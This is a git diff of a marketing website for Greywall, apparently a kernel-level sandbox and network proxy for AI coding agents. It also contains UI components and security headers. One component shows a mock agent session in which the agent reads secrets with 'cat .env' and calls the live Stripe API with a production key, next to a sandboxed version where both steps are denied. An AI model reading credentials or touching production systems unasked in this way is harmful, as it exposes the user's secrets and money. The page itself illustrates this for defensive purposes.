||||
)
|
||||
}
|
||||
@@ -1,46 +1,62 @@
|
||||
import { GreywallLogo } from './logo'
|
||||
import { CTAButton } from './cta-button'
|
||||
|
||||
export function Nav() {
|
||||
return (
|
||||
<nav className="fixed top-0 left-0 right-0 z-50 border-b border-border/50 bg-background/80 backdrop-blur-md">
|
||||
<div className="mx-auto max-w-5xl flex items-center justify-between px-6 h-14">
|
||||
<nav className="relative top-0 left-0 right-0 z-50 bg-[#ECECE8] border-b border-grey-3 w-full">
|
||||
<div className="mx-auto flex h-16 w-full max-w-[1920px] items-center justify-between px-6">
|
||||
<a href="#" className="flex items-center gap-2.5 group">
|
||||
{/* Greywall shield logo */}
|
||||
<svg viewBox="0 0 32 32" fill="none" className="h-6 w-6" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
|
||||
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
|
||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
|
||||
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
||||
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
|
||||
</svg>
|
||||
<span className="font-serif font-semibold text-lg tracking-tight text-foreground">
|
||||
Greywall
|
||||
</span>
|
||||
<GreywallLogo size="small" />
|
||||
</a>
|
||||
<div className="flex items-center gap-6">
|
||||
<div className="hidden md:flex items-center gap-6">
|
||||
<a
|
||||
href="#features"
|
||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
|
||||
className="text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
|
||||
>
|
||||
Features
|
||||
</a>
|
||||
<a
|
||||
href="#comparison"
|
||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block"
|
||||
className="text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
|
||||
>
|
||||
Compare
|
||||
</a>
|
||||
<a
|
||||
href="#about"
|
||||
className="text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
|
||||
>
|
||||
About
|
||||
</a>
|
||||
<a
|
||||
href="/greyscan"
|
||||
className="text-serif text-[15px] font-semibold text-primary"
|
||||
>
|
||||
Greyscan
|
||||
</a>
|
||||
<a
|
||||
href="https://docs.greywall.io/"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
|
||||
>
|
||||
Docs
|
||||
</a>
|
||||
<a
|
||||
href="https://github.com/GreyhavenHQ/greywall"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="text-sm text-muted-foreground hover:text-foreground transition-colors flex items-center gap-1.5"
|
||||
className="flex items-center gap-1.5 text-serif text-[15px] font-semibold text-grey-9 transition-opacity hover:opacity-70"
|
||||
>
|
||||
<svg className="h-4 w-4" fill="currentColor" viewBox="0 0 24 24">
|
||||
<path d="M12 0c-6.626 0-12 5.373-12 12 0 5.302 3.438 9.8 8.207 11.387.599.111.793-.261.793-.577v-2.234c-3.338.726-4.033-1.416-4.033-1.416-.546-1.387-1.333-1.756-1.333-1.756-1.089-.745.083-.729.083-.729 1.205.084 1.839 1.237 1.839 1.237 1.07 1.834 2.807 1.304 3.492.997.107-.775.418-1.305.762-1.604-2.665-.305-5.467-1.334-5.467-5.931 0-1.311.469-2.381 1.236-3.221-.124-.303-.535-1.524.117-3.176 0 0 1.008-.322 3.301 1.23.957-.266 1.983-.399 3.003-.404 1.02.005 2.047.138 3.006.404 2.291-1.552 3.297-1.23 3.297-1.23.653 1.653.242 2.874.118 3.176.77.84 1.235 1.911 1.235 3.221 0 4.609-2.807 5.624-5.479 5.921.43.372.823 1.102.823 2.222v3.293c0 .319.192.694.801.576 4.765-1.589 8.199-6.086 8.199-11.386 0-6.627-5.373-12-12-12z" />
|
||||
</svg>
|
||||
<span className="hidden sm:inline">GitHub</span>
|
||||
</a>
|
||||
<CTAButton href="#waitlist" className="whitespace-nowrap">
|
||||
<span className="hidden sm:inline">Talk to us</span>
|
||||
<span className="sm:hidden">Contact</span>
|
||||
<span aria-hidden="true">→</span>
|
||||
</CTAButton>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
@@ -1,43 +1,158 @@
|
||||
import { Eye } from 'lucide-react'
|
||||
'use client'
|
||||
|
||||
import { useState, useEffect, useRef } from 'react'
|
||||
import Image from 'next/image'
|
||||
|
||||
const slides = [
|
||||
{
|
||||
label: 'Dashboard',
|
||||
src: '/dashboard.png',
|
||||
alt: 'GreyProxy dashboard showing total requests, allowed, blocked, and allow rate stats',
|
||||
},
|
||||
{
|
||||
label: 'Pending',
|
||||
src: '/pending_requests.png',
|
||||
alt: 'GreyProxy pending network requests with Allow and Deny controls for each domain',
|
||||
},
|
||||
{
|
||||
label: 'Rules',
|
||||
src: '/rules.png',
|
||||
alt: 'GreyProxy domain rules configuration showing allow and deny policies per source',
|
||||
},
|
||||
{
|
||||
label: 'Activity',
|
||||
src: '/activity.png',
|
||||
alt: 'GreyProxy activity log showing real-time TCP connections with status, source, destination, and duration',
|
||||
},
|
||||
{
|
||||
label: 'Conversations',
|
||||
src: '/conversations.png',
|
||||
alt: 'GreyProxy conversations view showing agent interactions with tool calls and results',
|
||||
},
|
||||
]
|
||||
|
||||
const INTERVAL = 4000
|
||||
|
||||
export function Observability() {
|
||||
const [active, setActive] = useState(0)
|
||||
const [paused, setPaused] = useState(false)
|
||||
const timerRef = useRef<ReturnType<typeof setInterval> | null>(null)
|
||||
// Key to force re-mount of the progress bar so animation restarts
|
||||
const [tick, setTick] = useState(0)
|
||||
|
||||
function goTo(i: number) {
|
||||
setActive(i)
|
||||
setTick((t) => t + 1)
|
||||
resetTimer()
|
||||
}
|
||||
|
||||
function advance() {
|
||||
setActive((i) => (i + 1) % slides.length)
|
||||
setTick((t) => t + 1)
|
||||
}
|
||||
|
||||
function resetTimer() {
|
||||
if (timerRef.current) clearInterval(timerRef.current)
|
||||
if (!paused) {
|
||||
timerRef.current = setInterval(advance, INTERVAL)
|
||||
}
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
if (paused) {
|
||||
if (timerRef.current) clearInterval(timerRef.current)
|
||||
return
|
||||
}
|
||||
timerRef.current = setInterval(advance, INTERVAL)
|
||||
return () => {
|
||||
if (timerRef.current) clearInterval(timerRef.current)
|
||||
}
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [paused])
|
||||
|
||||
return (
|
||||
<section className="py-24 px-6 border-t border-border/30">
|
||||
<section id="features" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-16">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<Eye className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
Clarity
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||
Clarity
|
||||
</span>
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||
See every network connection.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
You can't predict which domains your agent will reach for. GreyProxy captures
|
||||
every outbound connection and lets you allow or deny them in real time, without
|
||||
restarting the session.
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||
GreyProxy records each outbound request as it happens. You can allow known domains, deny unknown ones, and keep the session running while you decide.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="mx-auto max-w-3xl">
|
||||
<div className="flex items-center gap-3 mb-4">
|
||||
<div className="flex items-center justify-center w-8 h-8 rounded-md bg-primary/10 text-primary">
|
||||
<Eye className="h-4 w-4" />
|
||||
</div>
|
||||
<h3 className="font-sans font-semibold text-sm">GreyProxy dashboard</h3>
|
||||
</div>
|
||||
<div className="rounded-lg border border-border/40 overflow-hidden bg-card/30">
|
||||
<img
|
||||
src="/greyproxy.png"
|
||||
alt="GreyProxy dashboard showing pending network requests with Allow and Deny controls"
|
||||
className="w-full h-auto"
|
||||
<div
|
||||
className="mx-auto max-w-3xl"
|
||||
onMouseEnter={() => setPaused(true)}
|
||||
onMouseLeave={() => setPaused(false)}
|
||||
>
|
||||
{/* Screenshot with crossfade */}
|
||||
<div className="relative rounded-lg border border-border/40 overflow-hidden bg-white">
|
||||
{/* Hidden reference image to lock container height */}
|
||||
<Image
|
||||
src={slides[0].src}
|
||||
alt=""
|
||||
aria-hidden="true"
|
||||
width={2480}
|
||||
height={1810}
|
||||
className="w-full h-auto invisible"
|
||||
priority
|
||||
/>
|
||||
{slides.map((slide, i) => (
|
||||
<Image
|
||||
key={slide.label}
|
||||
src={slide.src}
|
||||
alt={slide.alt}
|
||||
width={2480}
|
||||
height={1810}
|
||||
className={`absolute inset-0 w-full h-full object-contain object-top transition-opacity duration-700 ${
|
||||
i === active ? 'opacity-100' : 'opacity-0'
|
||||
}`}
|
||||
priority={i === 0}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed mt-4">
|
||||
Every outbound request is visible. Allow trusted domains, block unknown ones,
|
||||
and adjust policies live as your agent works.
|
||||
|
||||
{/* Progress indicators + labels */}
|
||||
<div className="flex items-center justify-center gap-4 mt-5">
|
||||
{slides.map((slide, i) => (
|
||||
<button
|
||||
key={slide.label}
|
||||
onClick={() => goTo(i)}
|
||||
className="flex items-center gap-2 group"
|
||||
>
|
||||
<div className="relative h-1.5 w-8 rounded-full bg-border/50 overflow-hidden">
|
||||
{i === active ? (
|
||||
<div
|
||||
key={tick}
|
||||
className="absolute inset-y-0 left-0 rounded-full bg-primary"
|
||||
style={
|
||||
paused
|
||||
? { width: '100%' }
|
||||
: { animation: `progress ${INTERVAL}ms linear forwards` }
|
||||
}
|
||||
/>
|
||||
) : (
|
||||
<div className="absolute inset-0 rounded-full bg-transparent group-hover:bg-muted-foreground/30 transition-colors" />
|
||||
)}
|
||||
</div>
|
||||
<span
|
||||
className={`text-xs font-sans transition-colors hidden sm:inline ${
|
||||
i === active ? 'text-foreground font-medium' : 'text-muted-foreground'
|
||||
}`}
|
||||
>
|
||||
{slide.label}
|
||||
</span>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
|
||||
<p className="text-xs text-muted-foreground font-serif leading-relaxed mt-5 text-center">
|
||||
Each outbound request stays visible. Policy changes apply while the agent keeps running.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -39,7 +39,7 @@ export function PlatformToggle() {
|
||||
onClick={() => setPlatform('linux')}
|
||||
className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
|
||||
platform === 'linux'
|
||||
? 'bg-primary text-primary-foreground shadow-sm'
|
||||
? 'bg-primary text-primary-foreground'
|
||||
: 'text-muted-foreground hover:text-foreground'
|
||||
}`}
|
||||
>
|
||||
@@ -49,7 +49,7 @@ export function PlatformToggle() {
|
||||
onClick={() => setPlatform('macos')}
|
||||
className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
|
||||
platform === 'macos'
|
||||
? 'bg-primary text-primary-foreground shadow-sm'
|
||||
? 'bg-primary text-primary-foreground'
|
||||
: 'text-muted-foreground hover:text-foreground'
|
||||
}`}
|
||||
>
|
||||
|
||||
@@ -1,67 +1,128 @@
|
||||
import { AlertTriangle, KeyRound, FolderOpen, FileCode } from 'lucide-react'
|
||||
|
||||
const exposures = [
|
||||
{
|
||||
icon: KeyRound,
|
||||
path: '~/.ssh/',
|
||||
label: 'SSH keys',
|
||||
desc: 'Private keys, known hosts, agent configs',
|
||||
},
|
||||
{
|
||||
icon: FileCode,
|
||||
path: '.env',
|
||||
label: 'Environment secrets',
|
||||
desc: 'API keys, database URLs, auth tokens',
|
||||
},
|
||||
{
|
||||
icon: FolderOpen,
|
||||
path: '~/*',
|
||||
label: 'Full filesystem',
|
||||
desc: 'Every repo, document, and config file',
|
||||
},
|
||||
]
|
||||
|
||||
export function Problem() {
|
||||
return (
|
||||
<section className="py-24 px-6 border-t border-border/30">
|
||||
<section className="pb-12 sm:pb-16 px-4 sm:px-6">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-16">
|
||||
<div className="flex items-center gap-2 mb-4">
|
||||
<AlertTriangle className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
The problem
|
||||
</span>
|
||||
</div>
|
||||
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||
Every agent inherits everything.
|
||||
</h2>
|
||||
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||
AI coding agents run as your user. They see your SSH keys, cloud tokens, env files, and
|
||||
entire home directory. The model decides what to access at runtime, guided by weights
|
||||
you didn't train, at machine speed. One wrong inference is all it takes.
|
||||
</p>
|
||||
</div>
|
||||
<div className="mb-12 sm:mb-16">
|
||||
<div className="grid grid-cols-1 lg:grid-cols-2 gap-5">
|
||||
{/* Without Greywall */}
|
||||
<div className="flex flex-col">
|
||||
<span className="text-sm font-sans uppercase tracking-[0.16em] text-red-500 font-semibold mb-3 block">
|
||||
Without Greywall
|
||||
</span>
|
||||
<div className="code-block p-5 sm:p-6 flex-1">
|
||||
<div className="mb-5">
|
||||
<span className="text-xs font-mono text-muted-foreground">~/project</span>
|
||||
</div>
|
||||
<div className="space-y-3 font-mono text-[11px] sm:text-xs">
|
||||
<div>
|
||||
<span className="text-muted-foreground">$ </span>
|
||||
<span className="text-greyhaven-offwhite">claude </span>
|
||||
<span className="text-red-400/80">--dangerously-skip-permissions</span>
|
||||
</div>
|
||||
|
||||
<div className="grid grid-cols-1 sm:grid-cols-3 gap-4">
|
||||
{exposures.map((item) => (
|
||||
<div
|
||||
key={item.path}
|
||||
className="group p-5 rounded-lg border border-border/40 bg-card/30 hover:border-destructive/30 hover:bg-destructive/[0.03] transition-all"
|
||||
>
|
||||
<item.icon className="h-5 w-5 text-muted-foreground group-hover:text-destructive/70 mb-3 transition-colors" />
|
||||
<code className="text-sm font-mono text-foreground block mb-1">{item.path}</code>
|
||||
<p className="text-xs text-muted-foreground font-sans">{item.desc}</p>
|
||||
<div className="border-l-2 border-primary/40 pl-3">
|
||||
<div className="text-primary font-semibold text-[11px] uppercase tracking-wider mb-1">You</div>
|
||||
<div className="text-greyhaven-offwhite">add rate limiting to the API client</div>
|
||||
</div>
|
||||
|
||||
<div className="border-l-2 border-muted-foreground/30 pl-3">
|
||||
<div className="text-muted-foreground font-semibold text-[11px] uppercase tracking-wider mb-1">Agent</div>
|
||||
<div className="text-muted-foreground italic">thinking...</div>
|
||||
</div>
|
||||
|
||||
<div className="pl-4 space-y-1.5 text-muted-foreground/60">
|
||||
<div><span className="text-muted-foreground/40">$ </span><span className="text-red-400/80">cat .env</span></div>
|
||||
<div><span className="text-muted-foreground/40">$ </span><span className="text-red-400/80">curl -H "Authorization: Bearer sk-prod-..." https://api.stripe.com/v1/charges</span></div>
|
||||
</div>
|
||||
|
||||
<div className="border-l-2 border-muted-foreground/30 pl-3">
|
||||
<div className="text-muted-foreground font-semibold text-[11px] uppercase tracking-wider mb-1">Agent</div>
|
||||
<div className="text-greyhaven-offwhite">Done! I read your .env to grab the API key and tested against the live endpoint to make sure rate limits work correctly.</div>
|
||||
</div>
|
||||
|
||||
<div className="border-l-2 border-primary/40 pl-3">
|
||||
<div className="text-primary font-semibold text-[11px] uppercase tracking-wider mb-1">You</div>
|
||||
<div className="text-greyhaven-offwhite">WHAT ARE THESE CHARGES ON MY STRIPE??? (╯°□°)╯︵ ┻━┻</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-3 leading-relaxed">
|
||||
The agent read a production key from <code className="font-mono text-[11px]">.env</code> and called the live API to test its changes. The action was plausible. The boundary was missing.
|
||||
</p>
|
||||
</div>
|
||||
))}
|
||||
|
||||
{/* With Greywall */}
|
||||
<div className="flex flex-col">
|
||||
<span className="text-sm font-sans uppercase tracking-[0.16em] text-primary font-semibold mb-3 block">
|
||||
With Greywall
|
||||
</span>
|
||||
<div className="code-block p-5 sm:p-6 border-primary/20 flex-1">
|
||||
<div className="mb-5">
|
||||
<span className="text-xs font-mono text-muted-foreground">~/project</span>
|
||||
</div>
|
||||
<div className="space-y-3 font-mono text-[11px] sm:text-xs">
|
||||
<div>
|
||||
<span className="text-muted-foreground">$ </span>
|
||||
<span className="text-primary">greywall --</span>
|
||||
<span className="text-greyhaven-offwhite"> claude </span>
|
||||
<span className="text-primary">--dangerously-skip-permissions</span>
|
||||
</div>
|
||||
|
||||
<div className="border-l-2 border-primary/40 pl-3">
|
||||
<div className="text-primary font-semibold text-[11px] uppercase tracking-wider mb-1">You</div>
|
||||
<div className="text-greyhaven-offwhite">add rate limiting to the API client</div>
|
||||
</div>
|
||||
|
||||
<div className="border-l-2 border-muted-foreground/30 pl-3">
|
||||
<div className="text-muted-foreground font-semibold text-[11px] uppercase tracking-wider mb-1">Agent</div>
|
||||
<div className="text-muted-foreground italic">thinking...</div>
|
||||
</div>
|
||||
|
||||
<div className="pl-4 space-y-1.5">
|
||||
<div><span className="text-muted-foreground/40">$ </span><span className="text-muted-foreground">cat .env</span></div>
|
||||
<div className="text-red-400/80 pl-4">← Operation not permitted</div>
|
||||
<div><span className="text-muted-foreground/40">$ </span><span className="text-muted-foreground">curl -H "Authorization: ..." https://api.stripe.com/v1/charges</span></div>
|
||||
<div className="text-red-400/80 pl-4">← Connection denied by proxy</div>
|
||||
</div>
|
||||
|
||||
<div className="border-l-2 border-muted-foreground/30 pl-3">
|
||||
<div className="text-muted-foreground font-semibold text-[11px] uppercase tracking-wider mb-1">Agent</div>
|
||||
<div className="text-greyhaven-offwhite">Added rate limiting. I couldn't access .env, so I used placeholder values in the tests.</div>
|
||||
</div>
|
||||
|
||||
<div className="border-l-2 border-primary/40 pl-3">
|
||||
<div className="text-primary font-semibold text-[11px] uppercase tracking-wider mb-1">You</div>
|
||||
<div className="text-greyhaven-offwhite">👍 (•̀ᴗ•́) 👍</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-3 leading-relaxed">
|
||||
The boundary holds at the OS layer, so the agent has to continue without secrets or production access.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="mt-10 p-5 rounded-lg border border-border/30 bg-card/20">
|
||||
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||
<span className="text-foreground font-medium">Most setups rely on promises:</span>{' '}
|
||||
trust the model provider's policies, trust the application code, trust that the
|
||||
agent respects boundaries. Greywall replaces trust with enforcement. Constraints are
|
||||
applied at the kernel level, below anything the agent or model can circumvent.
|
||||
{/* Resolution: Verification creates trust */}
|
||||
<div className="text-center max-w-3xl mx-auto">
|
||||
<blockquote className="title-serif text-[22px] md:text-[28px] leading-[1.1] mb-6">
|
||||
<span className="text-primary">“</span>The act of verification creates trust.<span className="text-primary">”</span>
|
||||
</blockquote>
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground max-w-2xl mx-auto mb-10">
|
||||
Greywall shows the attempted reads, writes, and connections as they happen, then lets you decide what stays allowed.
|
||||
</p>
|
||||
<div className="mx-auto max-w-3xl rounded-lg border border-border/40 overflow-hidden">
|
||||
<div className="relative w-full" style={{ paddingBottom: '56.25%' }}>
|
||||
<iframe
|
||||
src="https://www.youtube.com/embed/u7YFVGGpPRI"
|
||||
title="Greywall Demo"
|
||||
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
|
||||
allowFullScreen
|
||||
className="absolute inset-0 w-full h-full"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
86
components/waitlist.tsx
Normal file
@@ -0,0 +1,86 @@
|
||||
'use client'
|
||||
|
||||
import { Gavel, Coins, Building2, Puzzle } from 'lucide-react'
|
||||
import { BetaSignup } from './beta-signup'
|
||||
|
||||
const plugins = [
|
||||
{
|
||||
icon: Puzzle,
|
||||
title: 'Custom policy plugins',
|
||||
desc: 'Heuristics as code. Allow or deny on whatever context you care about.',
|
||||
},
|
||||
{
|
||||
icon: Gavel,
|
||||
title: 'Model Council',
|
||||
desc: 'A panel of models votes on ambiguous requests. Guardrails without the friction.',
|
||||
},
|
||||
{
|
||||
icon: Coins,
|
||||
title: 'Token-saving MITM',
|
||||
desc: 'Cache, redact, and rewrite LLM traffic. Smaller bills.',
|
||||
},
|
||||
{
|
||||
icon: Building2,
|
||||
title: 'Enterprise controls',
|
||||
desc: 'SSO, audit trails, team rulesets, managed deployments.',
|
||||
},
|
||||
]
|
||||
|
||||
export function Waitlist() {
|
||||
return (
|
||||
<section id="waitlist" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-10">
|
||||
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||
Plugin SDK · Beta
|
||||
</span>
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||
Extend Greyproxy.
|
||||
</h2>
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||
We're building a plugin layer on top of GreyProxy for teams that need custom policy logic and shared operational controls.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Plugin cards */}
|
||||
<div className="grid grid-cols-1 md:grid-cols-2 gap-4 sm:gap-6 mb-6">
|
||||
{plugins.map((p) => (
|
||||
<div
|
||||
key={p.title}
|
||||
className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30"
|
||||
>
|
||||
<div className="flex items-center gap-3 mb-3">
|
||||
<p.icon className="h-5 w-5 text-foreground" />
|
||||
<h3 className="font-sans font-semibold text-sm">{p.title}</h3>
|
||||
</div>
|
||||
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||
{p.desc}
|
||||
</p>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
|
||||
{/* Freedom guarantee */}
|
||||
<div className="mb-12 p-5 rounded-lg border border-primary/15 bg-primary/[0.03]">
|
||||
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||
<span className="text-primary font-medium">Core stays free and open source.</span>{' '}
|
||||
Sandbox, GreyProxy, and the dashboard stay Apache 2.0. Team controls and plugins sit on top of that base.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Waitlist CTA */}
|
||||
<BetaSignup
|
||||
subject="Greywall enterprise / plugin SDK waitlist"
|
||||
message="(waitlist section signup)"
|
||||
buttonClassName="px-5 py-2.5 font-sans text-sm font-medium md:text-sm"
|
||||
inputClassName="w-56 rounded-md border border-border/40 bg-background/40 px-4 py-2.5 text-sm font-sans text-foreground placeholder:text-muted-foreground/60 transition-colors focus:border-primary/40 focus:outline-none sm:w-64"
|
||||
submitClassName="px-4 py-2.5 font-sans text-sm font-medium md:text-sm"
|
||||
helperTextClassName="text-xs text-muted-foreground/60 font-serif"
|
||||
successClassName="inline-flex items-center gap-2 px-5 py-2.5 rounded-md border border-primary/20 bg-primary/[0.05] font-sans text-sm text-primary font-medium"
|
||||
errorClassName="text-xs text-red-400/80 font-sans text-center"
|
||||
wrapperClassName="flex flex-col items-center gap-2"
|
||||
/>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
@@ -1,10 +1,6 @@
|
||||
/** @type {import('next').NextConfig} */
|
||||
const nextConfig = {
|
||||
typescript: {
|
||||
ignoreBuildErrors: true,
|
||||
},
|
||||
images: {
|
||||
unoptimized: true,
|
||||
remotePatterns: [
|
||||
{
|
||||
protocol: 'https',
|
||||
@@ -12,6 +8,19 @@ const nextConfig = {
|
||||
},
|
||||
],
|
||||
},
|
||||
async headers() {
|
||||
return [
|
||||
{
|
||||
source: '/(.*)',
|
||||
headers: [
|
||||
{ key: 'X-Frame-Options', value: 'DENY' },
|
||||
{ key: 'X-Content-Type-Options', value: 'nosniff' },
|
||||
{ key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
|
||||
{ key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
|
||||
],
|
||||
},
|
||||
]
|
||||
},
|
||||
}
|
||||
|
||||
export default nextConfig
|
||||
|
||||
BIN
public/activity.png
Normal file
|
After Width: | Height: | Size: 456 KiB |
BIN
public/agents/aider-ai.png
Normal file
|
After Width: | Height: | Size: 4.5 KiB |
BIN
public/agents/anthropics.png
Normal file
|
After Width: | Height: | Size: 1.3 KiB |
BIN
public/agents/block.png
Normal file
|
After Width: | Height: | Size: 1.1 KiB |
BIN
public/agents/cline.png
Normal file
|
After Width: | Height: | Size: 1.3 KiB |
BIN
public/agents/getcursor.png
Normal file
|
After Width: | Height: | Size: 1.0 KiB |
BIN
public/agents/github.png
Normal file
|
After Width: | Height: | Size: 1.9 KiB |
BIN
public/agents/google-gemini.png
Normal file
|
After Width: | Height: | Size: 1.4 KiB |
BIN
public/agents/nicepkg.png
Normal file
|
After Width: | Height: | Size: 1.8 KiB |
BIN
public/agents/openai.png
Normal file
|
After Width: | Height: | Size: 2.2 KiB |
BIN
public/agents/sourcegraph.png
Normal file
|
After Width: | Height: | Size: 2.2 KiB |
|
Before Width: | Height: | Size: 2.6 KiB After Width: | Height: | Size: 4.2 KiB |
BIN
public/conversations.png
Normal file
|
After Width: | Height: | Size: 527 KiB |
BIN
public/dashboard.png
Normal file
|
After Width: | Height: | Size: 272 KiB |
|
Before Width: | Height: | Size: 0 B After Width: | Height: | Size: 850 B |
BIN
public/fonts/Aspekta-500.woff2
Normal file
BIN
public/fonts/Aspekta-600.woff2
Normal file
BIN
public/fonts/Aspekta-700.woff2
Normal file
BIN
public/fonts/source-serif-pro-600.woff2
Normal file
BIN
public/fonts/source-serif-pro-700.woff2
Normal file
19
public/greyhaven-lockup.svg
Normal file
@@ -0,0 +1,19 @@
|
||||
<svg width="285" height="70" viewBox="0 0 285 70" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||
<g clip-path="url(#clip0_0_17)">
|
||||
<path d="M97.7812 48.9805L97.368 44.8291C95.9388 47.2257 92.5701 49.6757 87.3541 49.6757C78.818 49.6757 71.2493 43.4 71.2493 32.6034C71.2493 21.8069 79.2312 15.5798 87.7187 15.5798C95.6569 15.5798 100.732 20.1493 102.482 25.5451L97.2659 27.5284C96.1576 23.8389 92.9298 20.6986 87.7138 20.6986C82.4979 20.6986 76.8736 24.4805 76.8736 32.6034C76.8736 40.7264 82.0409 44.6007 87.6701 44.6007C94.2666 44.6007 96.7604 40.0798 97.0375 37.2653H86.2409V32.4187H102.253V48.9805H97.7763H97.7812Z" fill="#161614"/>
|
||||
<path d="M120.57 31.8159C119.972 31.7235 119.37 31.6798 118.815 31.6798C114.664 31.6798 112.773 34.0763 112.773 38.2763V48.9805H107.421V26.5124H112.637V30.1097C113.697 27.6645 116.19 26.2354 119.141 26.2354C119.788 26.2354 120.342 26.3277 120.57 26.3715V31.8159Z" fill="#161614"/>
|
||||
<path d="M143.685 42.5688C142.484 46.4917 138.93 49.6757 133.535 49.6757C127.444 49.6757 122.048 45.2473 122.048 37.6348C122.048 30.5278 127.308 25.8223 132.98 25.8223C139.903 25.8223 143.962 30.3917 143.962 37.4938C143.962 38.3688 143.869 39.1077 143.821 39.2H127.395C127.531 42.6125 130.21 45.0577 133.53 45.0577C136.85 45.0577 138.42 43.3514 139.159 41.1348L143.68 42.5639L143.685 42.5688ZM138.566 35.2771C138.474 32.6473 136.719 30.2945 133.029 30.2945C129.66 30.2945 127.726 32.8757 127.541 35.2771H138.566Z" fill="#161614"/>
|
||||
<path d="M148.366 58.0708L153.767 46.3069L144.171 26.5125H150.213L156.674 40.7215L162.716 26.5125H168.389L154.088 58.0708H148.366Z" fill="#161614"/>
|
||||
<path d="M176.264 48.9805H170.912V15.575H176.264V28.6805C177.785 26.6972 180.323 25.8659 182.676 25.8659C188.213 25.8659 190.886 29.8326 190.886 34.7715V48.9805H185.534V35.6902C185.534 32.9194 184.29 30.7076 180.921 30.7076C177.97 30.7076 176.351 32.9194 176.259 35.7826V48.9805H176.264Z" fill="#161614"/>
|
||||
